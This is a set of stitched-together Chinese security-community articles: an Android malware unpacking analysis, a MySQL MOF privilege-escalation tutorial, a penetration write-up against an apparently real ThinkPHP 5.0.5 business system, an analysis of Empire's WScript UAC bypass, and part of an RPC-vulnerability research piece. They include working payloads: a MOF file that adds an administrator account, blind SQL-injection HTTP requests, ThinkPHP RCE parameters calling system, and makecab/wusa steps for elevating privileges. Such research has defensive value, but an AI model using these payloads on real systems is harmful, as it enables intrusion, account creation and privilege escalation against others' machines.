这个程序在attachBaseContext方法里加载了第二个dex的运行入口class
com.sd.clip.base.MyApplication。这个Helper类的attach是native方法。
接着程序运行了类com.sd.clip.base.MyApplication里的onCreate方法。好了就这些了，第一个dex文件相当简单的。接下来，我们将深度分析native层的代码，这是非常复杂和棘手的。
### III.native层的代码
上面说过，native层使用了一些高级的反调试和反hook技术，并且还使用了几种解密算法对一些字节数组进行解密以得到纯文本字符串。
下图8是libSecShell.so的导出函数。它混淆了函数名使分析变得更加困难，更加费劲。
图8.libSecShell.so的导出函数
所有的反调试代码都在JNI_Onload函数里面
在上一节说过，java层中的Helper类的attach方法是native方法。这个程序是在native层动态注册这个方法。下图是程序在native层动态注册这个native方法的ARM汇编代码片段。
图9 动态注册native方法
RegisterNatives方法是用来注册native方法的，这个方法的原型如下
> jint RegisterNatives(JNIEnv *env,jclass clazz, const JNINativeMethod*
> methods,jint nMethods)
JNINativeMethod结构定义如下
> typedef struct { const char _name; const char_ signature; void* fnPtr; }
> JNINativeMethod;
> 第一个变量name是指在java层调用的name，这里是"attach",第三个变量是fnPtr空指针是一个函数指针，指向要动态注册的C代码的函数
我们需要找到这个反调试代码的位置并且绕过它。还要分析第二个dex文件是如何解密的，并且在内存中dump出解密后的第二个dex文件。
让我们在IDA中看一下接下来的代码
图10. 反调试代码附近
经过我们的深度分析，在地址0xF832这里的这里的指令是跳转到地址loc_F924,跟过去后，我们找到了反调试代码。
图11.反调试代码的位置
在p7E7056598F77DFCC42AE68DF7F0151CA()里执行了反调试的操作。
在IDA的graphic中看一下执行流程，如下图，可以看出，这个流程是相当复杂的。
图12.反调试的执行流程
下面是这个恶意app里使用的一些反调试和反hook的方法。
1\. 检测一些流行的hook框架，如 Xposed, substrate, adbi, ddi,
dexposed。一旦发现，流行hook框架hook了它，它将结束相关的进程。
图14. 查找hook框架
2\. 使用一种多进程ptrace来实现反调试，这还是有点棘手的。在这里我们不提供这种反调试的实现机制的详细分析，但是我们会给一些简单的解释。
我们在这里看见了名字为com.web.sdfile的两个进程。
图15. 进程名为com.web.sdfile的两个进程
下图是多进程反调试代码片段
图16. 反调试代码片段
3\. 这个程序还使用了inotify来监控内存和主进程的pagemag，当内存dump不完整，这两个进程将使用pipe互相通知对方。
总之，这些反调试和反hook给逆向工程创造了很大的障碍，所以我们绕过这些反调试和反hook方法是我们的首要任务。
让我们尝试绕过它们。
在图10中，在偏移0x0000F832的指令是跳转到loc_F924,然后程序执行反调试代码。当我们动态调试的时候，我们可以修改一些寄存器的值或者是ARM指令来改变执行流程。当程序运行到偏移0xF828的`SUBS
R1, R0, #0`时，我们可以把R0寄存器的值修改为非0值，使得指令`BNE loc_F834`的条件成立。这将允许这个程序跳转到loc_F834。
图17. 如何绕过反调试代码
接下来，我们动态调试它，绕过反调试并且dump解密后的第二个dex文件。动态调试过程如下
图18 修改R0寄存器的值为非0值
图19 跳转到local_75178834
接着跳转到local_751788D8，如下
图20. 解密第二个dex的函数
函数p34D946B85C4E13BE6E95110517F61C41就是解密函数，R0寄存器指向内存中存储的加密的dex文件，R1寄存器里存着这个文件的大小，文件大小等于0x94A3E(608830)。解密dex文件是在apk包里的assets文件夹下的secData0.jar文件。下图是secData0.jar
图21.这个文件secData0.jar是在assets文件夹下。
图22. 内存中解密后的第二个apk的内容
我们现在把解密后的文件dump到decrypt.dump中。
这个解密后的文件是zip的格式，它包含了第二个dex文件。解密后，这个程序解压这个解密后的apk文件到dex文件。方法p3CBBD6F30D91F38FCD0A378BE7E54877是用来解压这个文件的。
接下来，unk_75176334方法调用com.secshell.shellwrapper.DexInstall类的java方法install加载第二个dex。
图23. 解压解密后的apk文件并且加载第二个dex文件
图24. 通过JNI调用方法安装
这里，我们完成了native层的分析并且得到解密后的第二个apk文件，然后我们将分析这个apk文件在这个博客的part II 。
## Native层的secData0.jar的解密方法
int __fastcall sub_7518394C(int result, _BYTE *a2, int a3)
{
int v3; // r1@1
int v4; // r3@5
unsigned int v5; // r3@7
int v6; // r6@7
int v7; // r5@7
char v8; // r2@8
int v9; // r4@9
int v10; // r3@9
int v11; // r7@11
_BYTE *v12; // r6@12
int v13; // r4@13
_BYTE *v14; // r1@15
int v15; // [sp+0h] [bp-138h]@1
int v16; // [sp+4h] [bp-134h]@1
_BYTE *v17; // [sp+8h] [bp-130h]@1
int v18; // [sp+10h] [bp-128h]@5
char v19[256]; // [sp+1Ch] [bp-11Ch]@6
int v20; // [sp+11Ch] [bp-1Ch]@1
v17 = a2;
v16 = result;
v20 = _stack_chk_guard;
v15 = a3;
v3 = 0;
if ( result <= 0x1FFFF )
{
v3 = 0x20000 - result;
if ( 0x20000 - result > a3 )
v3 = a3;
v15 = a3 - v3;
if ( v3 > 0 )
{
v18 = dword_751AF650;
v4 = 0;
do
{
v19[v4] = v4;
++v4;
}
while ( v4 != 256 );
v5 = 0;
v6 = 0;
v7 = 0;
do
{
v6 = (*(_BYTE *)(v18 + v5) + (unsigned __int8)v19[v7] + v6) & 0xFF;
v8 = v19[v7];
v5 = (v5 + 1) & -((v5 + 1 <= 0xF) + ((v5 + 1) >> 31));
v19[v7] = v19[v6];
v19[v6] = v8;
++v7;
}
while ( v7 != 256 );
v9 = 0;
result = 0;
v10 = 0;
while ( v9 != v16 )
{
v10 = (v10 + 1) & 0xFF;
v11 = (unsigned __int8)v19[v10];
++v9;
result = (v11 + result) & 0xFF;
v19[v10] = v19[result];
v19[result] = v11;
}
v12 = v17;
do
{
v10 = (v10 + 1) & 0xFF;
v13 = (unsigned __int8)v19[v10];
result = (result + v13) & 0xFF;
v19[v10] = v19[result];
v19[result] = v13;
*v12++ ^= v19[(v13 + (unsigned __int8)v19[v10]) & 0xFF];
}
while ( v12 != &v17[v3] );
}
}
if ( v15 > 0 )
{
v14 = &v17[v3];
result = (int)v14;
do
*v14++ ^= 0xACu;
while ( (signed int)&v14[-result] < v15 );
}
if ( v20 != _stack_chk_guard )
result = ((int (*)(void))unk_75173E48)();
return result;
}
* * *
第一次翻译，难免会有错误，还请指正。万分感谢 --BlackTrace
* * * | 社区文章 |
MySQL数据库Root权限MOF方法提权研究
MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows
Remote SYSTEM Level Exploit(<https://www.exploit-db.com/exploits/23083/>)
，简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique)
0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件：
方法1：运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法2：使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3：拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件，或使用
IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI
提供，并因为此功能可能不会提供在将来的版本后，不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下，否则会失败！
### 001漏洞利用方法分析
该漏洞的利用前提条件是必须具备mysql的root权限，在Kingcope公布的0day中公布了一个pl利用脚本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100为mysql数据库所在服务器，mysql口令为空，反弹到192.168.2.150的5555端口上。
1.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件：
# pragma namespace("\\.\root\subscription")
instance of **EventFilter as $EventFilter{ EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select \* From **InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2.通过Mysql查询将文件导入
执行以下查询语句，将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行，执行命令。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof';
### 002实战利用
1.实验环境
本次实验环境为Windows2003+Apache+PHP，已经拥有Webshell权限。
2.上传文件到可写目录
将nullevt.mof文件上传到服务器可写目录，例如C:\RECYCLER\，如图1所示。
[
图1上传文件nullevt.mof
3.执行命令
配置好中国菜刀，然后通过数据库管理，执行查询命令，在执行查询命令前需要先选择一下数据库，然后将以下代码复制到查询语句输入框中，如图2所示。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof';
[
图2执行查询命令
4.查看执行结果
执行完毕后需要修改添加用户命令为将用户添加到管理员组，即“net.exe localgroup administrators
admin/add\”，再次上传并查询，如图3所示，通过net user查看，果然admin已被添加到系统中。
[
图3添加用户成功
### 003防范方法
Mysql
Root权限MOF方法提权其前提条件是能够将上传的nullevt.mof复制到系统目录下，例如c:\windows\system32\wbem\mof中，如果无法复制则会提权失败。一般对Windows2003以下操作系统效果较好，Windows2008以上由于保护机制，较少能够成功。因此可以采取以下措施进行防范：
1.在程序数据库连接文件中尽量不要使用Root帐号进行连接。
2.Root帐号使用强加密方式，采用字母大小写+数字+特殊字符，密码位数15位以上。
3.对Mysql数据库的mysql数据库目录权限严格限制，IIS用户无法读写该文件。
1. 操作系统目录c:\windows\system32\wbem禁止写入。 | 社区文章 |
## 0x01 开始：
#### [+] 基本信息：
* Thinkphp5.0.5
* 存在WAF，貌似是某武盾
* 某费业务系统
#### [+] 关键点：
在得到目标域名时，结合目公司名称关键字,还有域名的关键字，试着与敏感的备份文件简单组合一下，得到简单的敏感文件字典，字典大致格式为,进行简单的目录扫描，手动去测试逻辑部分，不一会儿目录扫描结果得到业务系统的备份文件，名称为:
`关键字+backup.tar.gz`：
关键字+buckup.zip
关键字+buckup.rar
关键字+buckup.zip.tar
关键字+buckup.tar.gz
www+关键字.zip
www+关键字.rar
www+关键字.zip.tar
www+关键字.tar.gz
关键字.zip
关键字.rar
可以随意组合即可，也可以看一下参数命名方式，猜测管理员的命名习惯.....
## 0x02 代码审计
系统是由ThinkPHP5.0.5进行二次开发而搭建的，因为以前只是简单看过ThinkPHP代码，并不了解Thinkphp，google了一下，对应目录结构，看一下代码：
### [+] 系统路由：
### [+] SQL注入漏洞
`身份证号处：`
##### （1）正常传参：
对输入没有任何限制，只是前端限制了输入长度，抓包后，随便传个id，就得到个人数据
##### （2）注入测试
* 存在WAF，后端数据库为`MySQL`，`ThinkPHP-dubug` 也没有开启，简单构造盲注证明一下危害即可：
#### Payload:
* 查询user长度，长度为14：
POST /index/index/p_card.html HTTP/1.1
Content-Length: 59
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
card=1")/(case when length(user())=0 then 1 else 0 end)+--+
* 查询内容，因为ascii函数拦截，替换为char函数，缺点是大小写不敏感，用 like binary代替：
##### Paylaod:
POST /index/index/p_card.html HTTP/1.1
Content-Length: 71
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
card=3")/(case when substr(user(),1,1)like binary 'a' then 1 else 0 end)+--+
**注个用户名证明下就可以了….**
看了其他代码之后都是一样的风格，注入有很多处….
大同小异，都是直接拼接而且没有任何过滤
### [+] THinkPHP RCE
ThinkPHP老漏洞，因为目标有WAF自己的被动扫描也没效果，把代码过了一下，发现还是存在，本地搭起来可以复现，具体分析过程可以看`y4er大佬博客`,我自己跟了一下，结果如下
:
**Paylaod:**
POST?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
get[]=whaomi&_method=__construct&method=get&filter=system
本地验证成功，WAF没绕过去,自己测试了一下发现WAF拦截的是`filter`关键字，没其他想法了，卒….
前台功能点少，只有几个查询，没啥shell的点….
太菜了… 总结一下所有SQL摸鱼完事…
## 0x03 参考链接
* THINKPHP目录结构：`[www.kancloud.cn/manual/thinkphp5/118008](https://www.kancloud.cn/manual/thinkphp5/118008)`
* Thinkphp5.0.5 RCE 分析：`[y4er.com/post/thinkphp5-rce/](https://y4er.com/post/thinkphp5-rce/)` | 社区文章 |
## 0x00 前言
知名的后渗透测试框架Empire是一个很好的学习模板，其中包含的后渗透技巧很值得深入研究。
本文将要挑选Empire中一个经典的UAC绕过方法Invoke-WScriptBypassUAC进行分析，介绍绕过原理以及在渗透测试中的更多利用技巧。知道如何利用，才能知道如何防御。
Invoke-WScriptBypassUAC地址：
<https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1>
## 0x01 简介
本文将要介绍如下内容：
· Invoke-WScriptBypassUAC绕过原理
· 利用扩展
· 防御检测
## 0x02 Invoke-WScriptBypassUAC绕过原理
Invoke-WScriptBypassUAC通过powershell实现，思路上借鉴了Vozzie分享的github，地址如下：
<https://github.com/Vozzie/uacscript>
Vozzie提到ZDI和微软选择忽略该UAC绕过“漏洞”，ZDI认为这不是一个远程漏洞，微软认为UAC绕过不属于漏洞范畴
Invoke-WScriptBypassUAC在实现上使用了一些实用的小技巧，所以本文主要对Invoke-WScriptBypassUAC的绕过方法进行分析
该方法只适用于Win7，而Win8、Win10不适用（原因在后面介绍）
测试系统： Win7 x86
由于powershell格式的源代码公开，所以直接介绍该脚本关键的操作流程：
1、判断操作系统是否为Win7，是否为普通权限
2、Temp目录释放文件wscript.exe.manifest
3、使用makecab.exe对wscript.exe.manifest和wscript.exe进行压缩
4、使用wusa将压缩包解压缩，将wscript.exe.manifest和wscript.exe释放至c:\Windows目录
5、payload保存在Appdata文件夹的ADS中
6、使用c:\Windows\wscript.exe执行payload，实现管理员权限执行payload，绕过UAC
## 0x03 利用扩展
掌握操作流程后，我们完全可以手动进行拆分测试，在这个过程中能发现更多利用思路
**1、保存wscript.exe.manifest文件**
代码如下：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
manifestVersion="1.0">
<asmv3:trustInfo>
<security>
<requestedPrivileges>
<requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/>
</requestedPrivileges>
</security>
</asmv3:trustInfo>
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<autoElevate>true</autoElevate>
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
**2、使用makecab制作cab文件**
cmd:
makecab c:\windows\system32\wscript.exe %TMP%\1.tmp
makecab wscript.exe.manifest %TMP%\2.tmp
**3、使用wusa解压缩cab文件并释放至c:\windows**
cmd:
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
wusa %TMP%\2.tmp /extract:"c:\windows" /quiet
**注：**
该方法成功的关键在于使用wusa能够将cab文件解压缩至c:\windows，通常情况下，向c:\windows目录释放文件需要管理员权限，而借助wusa，普通用户权限即可，当然其他管理员权限的目录也可以，例如：
C:\Windows\addins
**4、使用该wscript.exe执行vbs或者js脚本**
cmd：
c:\windows\wscript.exe c:\test\1.vbs
c:\windows\wscript.exe c:\test\1.js
**注：**
此处js和vbs脚本需要绝对路径，虽然是普通用户权限的cmd，但因为wscript.exe同级目录下的wscript.exe.manifest指定以管理员权限启动，所以执行的vbs或者js脚本是管理员权限，这就实现了UAC绕过
执行cmd命令对应的vbs脚本如下:
Dim objShell
Dim oFso
Set oFso = CreateObject("Scripting.FileSystemObject")
Set objShell = WScript.CreateObject("WScript.Shell")
command = "cmd /c calc.exe"
objShell.Run command, 0
Set objShell = Nothing
对应的js脚本如下：
`new ActiveXObject("WScript.Shell").Run("cmd /c
calc.exe",0,true);`
**5、绕过后清除缓存文件**
删除c:\windows\下的wscript.exe和wscript.exe.manifest
对应vbs脚本如下:
Dim objShell
Dim oFso
Set oFso = CreateObject("Scripting.FileSystemObject")
Set objShell = WScript.CreateObject("WScript.Shell")
command = "cmd /c del c:\windows\wscript.exe && del c:\windows\wscript.exe.manifest"
objShell.Run command, 0
Set objShell = Nothing
对应js脚本如下：
new ActiveXObject("WScript.Shell").Run("cmd /c del c:\windows\wscript.exe && del c:\windows\wscript.exe.manifest",0,true);
**_注：_**
删除c:\windows\下的wscript.exe和wscript.exe.manifest需要管理员权限
删除缓存文件：
del %TMP%\1.tmp
del %TMP%\2.tmp
**6、补充**
(1)可供利用的路径有很多，查看文件夹属性可使用如下powershell命令：
`Get-Acl -Path c:\windows|select Owner`
(2)保存vbs或者js脚本的路径有很多，例如特殊ads：
· …文件
· 特殊COM文件
· 磁盘根目录
更多细节可参考文章《Hidden Alternative Data Streams的进阶利用技巧》
当然，Invoke-WScriptBypassUAC使用的ADS位置也很隐蔽
$env:USERPROFILE\AppData默认为系统隐藏文件
所以使用dir /r看不到文件夹$env:USERPROFILE\AppData，当然也无法看到添加的ads
需要使用dir /a:h /r （/a:h指定查看系统隐藏文件）才能看到，或者查看所有文件：dir /a /r
(3)Win8失败的原因
使用makecab和wusa能够将cab文件解压缩至高权限目录，如c:\windows
但利用wscript.exe和wscript.exe.manifest实现高权限执行的方法失效，Win8使用了内嵌manifest
(4)Win10失败的原因
Win10系统无法使用makecab和wusa能够将cab文件解压缩至高权限目录，如c:\windows
当然，也使用了内嵌manifest
## 0x04 wusa特性的进一步利用
**wusa特性：**
在普通用户的权限下，能够将文件释放至管理员权限的文件夹
适用Win7、Win8
**利用一：文件名劫持**
1、将calc.exe重命名为regedit.com
2、在c:\windows释放文件regedit.com
cmd：
makecab c:\test\regedit.com %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
3、劫持
cmd输入regedit，会执行regedit.com，而不是regedit.exe
关于该利用方法的详情可参考文章：《A dirty way of tricking users to bypass UAC》
**其他利用方法(暂略)**
## 0x05 防御
该UAC绕过方法只适用于Win7，尚未见到对应补丁，杀毒软件能对此脚本进行拦截，但也存在绕过方法
站在防御者的角度，建议监控wusa.exe的调用
## 0x06 小结
本文对Invoke-WScriptBypassUAC进行了分析，虽然微软不认可该漏洞，但在后渗透阶段，不论是渗透测试人员，还是防御方，对此都应该注意。
>本文为 3gstudent 原创稿件，授权嘶吼独家发布，如若转载，请注明原文地址：
<http://www.4hou.com/technology/7636.html> | 社区文章 |
# 如何挖掘RPC漏洞（Part 1）
##### 译文声明
本文是翻译文章，文章原作者 fortinet，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/the-case-studies-of-microsoft-windows-remote-procedure-call-serv.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
2018年8月下旬，一名研究人员（SandboxEscaper）公开了一个Windows本地权限提升0day漏洞。在互联网上公开后不到两周时间内，该漏洞就已经被恶意软件攻击者所使用（参考ESET发表的[文章](https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/)）。这件事情在InfoSec社区造成了一定程度的混乱，也引起了FortiGuard实验室的警觉。
FortiGuard实验室认为，理解这类攻击原理非常重要，可以帮助其他研究人员挖掘出类似SandboxEscaper在Windows任务计划程序（Windows
Task Scheduler）中找到的漏洞。在本文中，我们将与大家分享如何滥用RPC服务器上的符号链接来提升权限。
事实证明，Windows Task Scheduler通过RPC服务器对外公开的某个RPC（Remote Procedure Call，远程过程调用）
API中存在漏洞。在Windows中，大多数RPC服务器都托管于以本地系统权限运行的系统进程中，低权限的RPC客户端可以与RPC服务器进行交互。与其他软件一样，这些RPC服务器也可能存在漏洞，如拒绝服务、内存损坏、逻辑错误等等。换句话说，攻击者可以利用RPC服务器中存在的任何漏洞来发起攻击。
这个0day漏洞之所以如此流行，其中一个原因在于底层漏洞利用起来非常简单。这是一个程序逻辑错误漏洞，只要使用正确的工具及技术就比较容易发现。攻击者通常使用伪造的符号链接（symbolic
link）来利用这类权限提升漏洞，越权至某些文件或者目录，从而能让普通用户提升权限。如果大家对这方面内容比较感兴趣，来自Google Project
Zero的James Forshaw分享了关于符号链接攻击的各种资源，大家可以作为参考。
## 二、RPC服务器运行时及静态分析
进入新的研究领域后，在自己开发工具之前，最好先看一下网上是否已经有开源工具。幸运的是，微软RPC协议非常出名，在过去十几年里已经有研究人员在这方面做了许多优秀的逆向分析工作。研究人员可以使用[RpcView](http://www.rpcview.org/)这款开源工具，这个工具非常方便，可以识别Windows系统上运行的RPC服务。这是我最喜欢的RPC工具之一，具有各种强大的功能，如搜索RPC接口的UUID（Universal
Unique Identifier）、RPC接口名等等。
然而，我们的目的是将所有RPC信息反编译并导出到文本文件中，该工具并不满足我们的要求。幸运的是，在阅读源码后，我们发现工具开发者已经集成了我们所需的功能，但默认情况下该功能没有启用，只能在调试模式下使用某个命令行参数触发。在这个限制条件下，我们选择将已有的`DecompileAllInterfaces`函数集成到RpcView
GUI中。如果大家也想使用这个功能，可以访问我们的[Github页面](https://github.com/fortiguard-lion/RpcView)，下载我们定制的RpcView工具。在下文中大家就可以看到“反编译所有接口”这个功能的好处。
图1. RpcView反编译所有接口
当分析RPC服务器的行为时，我们总是会通过RPC接口调用服务器对外提供的API。我们可以通过RPC客户端向服务器发送RPC请求，与RPC交互，然后使用SysInternals中的Process
Monitor工具来观察服务器的行为。在我看来，最方便的做法是编写脚本，而不是开发C/C++ RPC客户端，因为前者不需要代码编译过程，比较节省时间。
我们选择使用[PythonForWindows](https://github.com/hakril/PythonForWindows)这个库。这个库能够帮助我们以Python的方式来抽象处理Windows功能，但需要依赖Python的`ctypes`库。这个库中还包含一些RPC库，这些库提供了一些方便的封装函数，可以节省我们开发RPC客户端的时间。比如，典型的RPC客户端程序需要定义接口定义语言，并且我们需要手动实现绑定操作，这个过程通常需要涉及到一些C++代码。从下面两段代码中，我们可以清晰地看到在实现RPC客户端方面脚本语言和编程语言之间的区别：
import sys
import ctypes
import windows.rpc
import windows.generated_def as gdef
from windows.rpc import ndr
StorSvc_UUID = r"BE7F785E-0E3A-4AB7-91DE-7E46E443BE29"
class SvcSetStorageSettingsParameters(ndr.NdrParameters):
MEMBERS = [ndr.NdrShort, ndr.NdrLong, ndr.NdrShort, ndr.NdrLong]
def SvcSetStorageSettings():
print "[+] Connecting...."
client = windows.rpc.find_alpc_endpoint_and_connect(StorSvc_UUID, (0,0))
print "[+] Binding...."
iid = client.bind(StorSvc_UUID, (0,0))
params = SvcSetStorageSettingsParameters.pack([0, 1, 2, 0x77])
print "[+] Calling SvcSetStorageSettings"
result = client.call(iid, 0xb, params)
if len(str(result)) > 0:
print " [*] Call executed successfully!"
stream = ndr.NdrStream(result)
res = ndr.NdrLong.unpack(stream)
if res == 0:
print " [*] Success"
else:
print " [*] Failed"
if __name__ == "__main__":
SvcSetStorageSettings()
代码1. 使用PythonForWindows RPC Client开发的SvcSetStorageSettings
RPC_STATUS CreateBindingHandle(RPC_BINDING_HANDLE *binding_handle)
{
RPC_STATUS status;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
RPC_BINDING_HANDLE Binding;
StringBinding = 0;
Binding = 0;
status = RpcStringBindingComposeW(L"BE7F785E-0E3A-4AB7-91DE-7E46E443BE29", L"ncalrpc", nullptr, nullptr, nullptr,&StringBinding);
if (status == RPC_S_OK)
{
status = RpcBindingFromStringBindingW(StringBinding, &Binding);
RpcStringFreeW(&StringBinding);
if (!status)
{
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(Binding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (!status)
{
v5 = Binding;
Binding = 0;
*binding_handle = v5;
}
}
}
if (Binding)
RpcBindingFree(&Binding);
return status;
}
VOID RpcSetStorageSettings()
{
RPC_BINDING_HANDLE handle;
RPC_STATUS status = CreateBindingHandle(&handle);
if (status != RPC_S_OK)
{
_tprintf(TEXT("[-] Error creating handle %dn"), status);
return;
}
RpcTryExcept
{
if (!SUCCEEDED(SvcSetStorageSettings(0, 1, 2, 0x77))
{
_tprintf(TEXT("[-] Error calling RPC APIn"));
return;
}
}
RpcExcept(1)
{
RpcStringFree(&instanceid);
}
RpcEndExcept
}
代码2. 使用C++ RPC Client开发的SvcSetStorageSettings
当RPC客户端成功调用相应的RPC API后，我们可以使用Process Monitor来监控程序活动轨迹。Process
Monitor对动态分析来说非常有用，可以提供基于事件的API运行时信息。值得注意的是，Process
Monitor中有个较少使用的功能，可以提供调用栈（call-stack）信息，如图2所示。利用这个信息，我们可以跟踪某个事件的API调用过程。
图2. Process Monitor API调用栈功能
在使用IDA
Pro之类的工具静态分析时，我们可以根据上图中`Address`和`Path`信息精确定位相应的模块及函数例程。这一点非常有用，因为有些时候我们可能无法单独使用Process
Monitor输出信息来发现潜在的符号链接攻击特征。这时候反汇编工具的静态分析功能就能派上用场，可以帮助我们发现竞争条件问题，我们会在Part
2文章中讨论这方面内容。
## 三、UTC案例分析
大家是否知道微软会在Windows
10及更高版本系统上收集客户信息、数据以及文件相关信息？有没有想过背后的工作原理？如果大家感兴趣，可以阅读[这篇文章](https://www.zdnet.com/article/windows-10-telemetry-secrets/)，其中介绍了UTC（Universal Telemetry Client，通用遥测客户端）背后的工作机制。
为了开启下一阶段分析过程，我们首先使用RpcView GUI将所有RPC接口导出到文本文件中，结果文件中包含RPC服务器中可以调用的所有RPC
API。从输出文件中，我们需要查找可以接受宽字符串作为输入的RPC
API，最终从`diagtrack.dll`中找到了比较有趣的一个RPC接口。随后，我们可以确认这个DLL组件负责UTC功能的的具体实现，比如，我们可以在RpcView
GUI中发现这个DLL的描述为`Microsoft Windows Diagnostic Tracking`。
图3. 使用RpcView分析UTC相关DLL组件，其中某个RPC接口接受宽字符串作为输入数据
请记住，这里我们的目标是找到某个API，这个API可以接收文件路径作为输入参数，最终可能导致权限提升问题（如Windows Task
Scheduler中存在的问题）。但在图3中，我们发现有16个API可能满足我们的要求。显然，我们需要过滤掉不符合我们条件的API。因此我们使用IDA
Pro，开始静态分析，找到待深入分析的目标API。
我首先找到的是`RpcServerRegisterIf`这个RPC函数，这个函数通常用来注册RPC服务器上的接口规范（interface
specification）。接口规范中包含托管于特定RPC服务器上的RPC接口定义。根据MSDN官方文档的描述，接口规范位于函数的第一个参数中，该参数遵循`RPC_SERVER_INTERFACE`数据结构，结构定义如下：
struct _RPC_SERVER_INTERFACE
{
unsigned int Length;
RPC_SYNTAX_IDENTIFIER InterfaceId;
RPC_SYNTAX_IDENTIFIER TransferSyntax;
PRPC_DISPATCH_TABLE DispatchTable;
unsigned int RpcProtseqEndpointCount;
PRPC_PROTSEQ_ENDPOINT RpcProtseqEndpoint;
void *DefaultManagerEpv;
const void *InterpreterInfo;
unsigned int Flags;
};
接口规范中的`InterpreterInfo`是指向`MIDL_SERVER_INFO`数据结构的一个指针，该结构由`DispatchTable`指针所组成，指针中保存特定RPC接口所支持的接口API信息。这的确是我们在寻找的字段。
typedef struct _MIDL_SERVER_INFO_
{
PMIDL_STUB_DESC pStubDesc;
const SERVER_ROUTINE* DispatchTable;
PFORMAT_STRING ProcString;
const unsigned short* FmtStringOffset;
const STUB_THUNK* ThunkTable;
PRPC_SYNTAX_IDENTIFIER pTransferSyntax;
ULONG_PTR nCount;
PMIDL_SYNTAX_INFO pSyntaxInfo;
} MIDL_SERVER_INFO, *PMIDL_SERVER_INFO;
通常情况下，我们可以使用IDA Pro遍历导入地址表（IAT）来定位`DispatchTable`，如下图所示：
图4. 使用IDA Pro遍历IAT寻找RPC公开的API
定位到UTC的接口API（前缀为`UtcApi`，如图4所示）后，我们尝试判断这些接口API中是否涉及到ACL（Access Control
List，访问控制列表）相关API，比如`SetNamedSecurityInfo`以及`SetSecurityInfo`等。之所以对这些ACL
API感兴趣，是因为更改对象（包括文件、目录以及注册表等）的DACL（discretionary access
control，自主访问控制）安全描述符时会用到这些API。IDA Pro中还有另一个有用的功能，就是Proximity
view，可以在一张图中显示出某个函数例程的调用图。我们可以使用Proximity view来寻找ACL API中引用或者调用的函数例程。
图5. IDA的Proximity view可以显示`SetSecurityInfo`与`diagtrack.dll`中函数例程的关系
然而，当我们想去寻找`SetSecurityInfo`与`UtcApi`之间的关系时，IDA
Pro并没有给出任何结果。进一步研究后，我们发现`UtcApi`会将客户端的RPC请求放入异步线程工作队列中进行处理。如图5所示，当触发`Microsoft::Diagnostic::EscalationWorkItem::Execute`时，就会执行`SetSecurityInfo`。这是一个回调函数，用来处理堆积在工作队列中、来自RPC客户端的请求。
